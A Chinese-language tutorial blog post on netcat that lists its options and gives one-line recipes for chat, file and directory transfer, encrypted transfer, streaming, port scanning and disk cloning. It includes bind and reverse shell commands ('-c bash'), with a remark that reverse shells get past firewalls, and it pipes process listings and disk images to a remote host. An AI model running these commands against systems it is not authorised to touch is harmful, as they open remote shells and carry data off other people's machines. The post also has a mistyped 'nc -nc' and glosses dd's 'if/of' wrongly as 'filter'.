NetCat (nc) 使用指南
原创
netcat
Netcat是什么
nc(netcat)被称为网络工具中的瑞士军刀,体积小巧,但功能强大。
nc 主要功能:nc 可以在两台设备上面相互交互,即侦听模式/传输模式
- Telnet 功能
- 获取 banner 信息
- 传输文本信息
- 传输文件/目录
- 加密传输文件,默认不加密
- 远程控制
- 加密所有流量
- 流媒体服务器
- 远程克隆硬盘
具体参数介绍
在此之前,先看看参数说明。
nc -h
-c
shell commands shell模式-e
filename 程序重定向 [危险!!]-b
允许广播-d
无命令行界面,使用后台模式-g
gateway 源路由跳跃点, 不超过 8-G
num 源路由指示器: 4, 8, 12, ...-h
获取帮助信息-i
secs 延时设置,端口扫描时使用-k
设置在 socket 上的存活选项-l
监听入站信息-n
以数字形式表示的IP地址-o
file 使进制记录-p
port 本地端口-r
随机本地和远程的端口-q
secs 在标准输入且延迟后退出(翻译的不是很好,后面实例介绍)-s
addr 本地源地址-T
tos 设置服务类型-t
以 TELNET 的形式应答入站请求-u
UDP 模式-v
显示详细信息 [使用=vv获取更详细的信息-w
secs 连接超时设置-z
I/O 模式 [扫描时使用]
其实常用的就几个参数 -n,-v,-l,-p,-q
NC 远程控制
这个比较有意思,我放在第一。
正向连接
A:
nc -lp port -c bash
B:
nc ip port
A 将自己的 Bash 发给 B
反向连接
A:
nc -lp port
B:
nc ip port -c bash
B 将自己的 Bash 发给 A
win 下 Bash 换成 cmd
通常反向连接 比较常用,因为防火墙的存在,让目标机主动发送 shell
下面是 Netcat Bind shell
的演示
使用 NC 进行信息收集
简单的建立连接,就是侦听模式和传输模式。
监听指定端口号:
nc -l -p port
连接对方 tcp 端口,默认情况下,双方可以发送文本信息:
nc -nv ip port
收集目标机上的进程信息。
将远程发送过来的内容保存在本地:
nc -l -p 4444 > wing.txt
标准输入完成后 delay 一秒钟,会发送到侦听端:
ps aux | nc -nv ip port -q 1
NC 传输文件/目录
nc -lp 4444 >1.txt
1.txt
就是你要保存的文件名 自定义
将文件发送给侦听端:
nc -nv ip port < 1.txt -q 1
ps:侦听端的文件名最好按照文件本身来命名
将目录打包:
tar -cvf - 目录名/ | nc -lp port -q 1
将目录解包
nc -nv ip port |tar -xvf -
NC 文件加密传输
apt-get install mcrypt
A:
nc -lp port|mcrypt - -flush -Fbqd -a rijndael-256 -m ecb > 文件名
B:
mcrypt --flush -Fbq -a rijndael-256 -m ecb < 文件名 | nc -nv ip port -q 1
理解:B 将文件加密发送,A 接受后先解密再保存到本地,B 在 1s
后退出.
主要是利用 mcrypt 进行加密
NC流媒体服务
A:cat wing.mp4|nc -lp port
B:nc -nv ip port |mplayer -vo x11 -cache 4000
A让wing.MP4
这个文件成为流的形式发送到B,B用mplayer播放,接收多少播放多少,指定缓存4000bytes。
NC 端口扫描
nc -nvz ip 1-65535
默认使用 tcp 进行扫描
NC 复制磁盘
B 将数据复制到 A 挂载的硬盘上:
A:
nc -lp port |dd of=/dev/sda
B:
dd if=/dev/sda | nc -nc ip port -q 1
if
是 input filter
of
是 output filter